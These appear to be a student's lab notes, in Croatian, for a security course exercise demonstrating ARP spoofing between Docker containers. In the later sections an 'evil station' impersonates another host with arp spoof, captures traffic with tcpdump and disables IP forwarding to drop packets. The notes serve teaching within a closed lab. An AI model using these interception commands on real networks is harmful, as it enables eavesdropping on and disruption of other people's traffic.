

SRP Vježbe1

Stvaranje foldera

Stvori folder za vježbe, napravi git clone i otvori u vs code

```
mkdir SRP
cd SRP
mkdir Vjezbe1
cd Vjezbe1
git init
git clone https://github.com/mcagalj/SRP-2022-23 //link github repozitorija kojeg kloniramo
dir
cd srp
cd arp-spoofing
dir
code . //otvara visual studio code unutar tog foldera
```

WSL

Windows Subsystem for Linux služi za lako switchanje između OS

```
wsl
uname -a
uname
exit
```

Docker

Docker omogućava podizanje virtualnih Linux kontejnera, trebamo upaliti 3 konjtenjera station1, station2 i evil station

```
wsl
./start.sh
exit //kontejneri ce se nastaviti izvršavati iako smo izašli
```

Komunikacija station1 i station2

Želimo slati pakete između station1 i station2

```
docker exec -it station-1 bash
ping station-2
ifconfig
```

```
shift alt + (prepolovimo terminal na dva kako bi mogli otvoriti 2 stationa istovremeno)
docker exec -it station-2 bash

u stat2 ide netcat -l 8080
u stat1 ide netcat station-2 8080
(sad možemo razmijenjivati poruke između station1 i station2)

docker exec -it evil-station bash
tcpdump (tcpdump hvata sve mrežne pakete koje prolaze kroz mrežu)
//evil station vidjei razmjenu paketa između station1 i station2 ali ih ne razumije
```

Preslušivanje evil station

Otvaramo novi terminal za evil station

```
arp spoof -i eth0 -t station-1 station-2 (arp spoof, evil station će se lažno predstaviti kao station2)

tcpdump -qX host station-1 and not arp and not icmp (tcpdump s filterom)

// evil station može ali ne mora prosljediti sve pakete station2
evilstation echo 0 > /proc/sys/net/ipv4/ip_forward (upisujemo 0 ako ne želimo prosljedivati pakete)
```

Kraj

Ugasi Docker kontejnere

```
Exit
```